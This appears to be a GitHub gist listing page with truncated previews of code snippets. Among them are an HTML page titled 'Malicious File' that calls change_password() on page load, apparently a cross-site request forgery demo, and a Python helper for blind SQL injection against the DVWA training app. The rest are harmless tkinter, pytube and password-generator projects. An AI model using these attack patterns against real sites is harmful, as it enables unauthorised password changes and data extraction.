This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset='utf-8'> | |
<meta http-equiv='X-UA-Compatible' content='IE=edge'> | |
<title>Malicious File</title> | |
</head> | |
<body onload="change_password()"> | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from utils import * | |
def get_query_result(s, sqli_blind_url, query, *args): | |
try: | |
concrete_query = query.format(*args) | |
response = s.get(f"{sqli_blind_url}?id={concrete_query}&Submit=Submit#") | |
parser = DVWASQLiResponseParser(response) | |
return parser.check_presence("exist") | |
except AttributeError as e: | |
return False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
from enum import Enum | |
import string | |
import urllib | |
class SecurityLevel(Enum): | |
LOW = "low" | |
MEDIUM = "medium" | |
HIGH = "high" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
import tkinter | |
from types import SimpleNamespace | |
BASE_URL = "http://www.boredapi.com/api/activity" | |
class Window(): | |
def __init__(self): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import tkinter | |
from PIL import ImageTk, Image | |
class Window(): | |
""" <a target="_blank" href="https://icons8.com/icon/B66tBXIKOwR9/chuck-norris">Chuck Norris</a> icon by <a target="_blank" href="https://icons8.com">Icons8</a>""" | |
def __init__(self): | |
self.fp = "icon.png" | |
self.initUI() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import click | |
import pytube | |
from pytube.cli import on_progress | |
from typing import List | |
def print_streams(streams: List[pytube.Stream]): | |
for stream in streams: | |
print(f"itag={stream.itag} mime_type={stream.mime_type} " | |
f"res={stream.resolution} fps={stream.fps} vcodec={stream.video_codec} " | |
f"acodec={stream.audio_codec} type={stream.type}>\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import tkinter | |
import string | |
import random | |
class Window(): | |
MAX_CHARS = 15 | |
MIN_CHARS = 3 | |
CHARS_OPTIONS = ["Alphanumeric", | |
"Numeric", | |
"Alpha"] |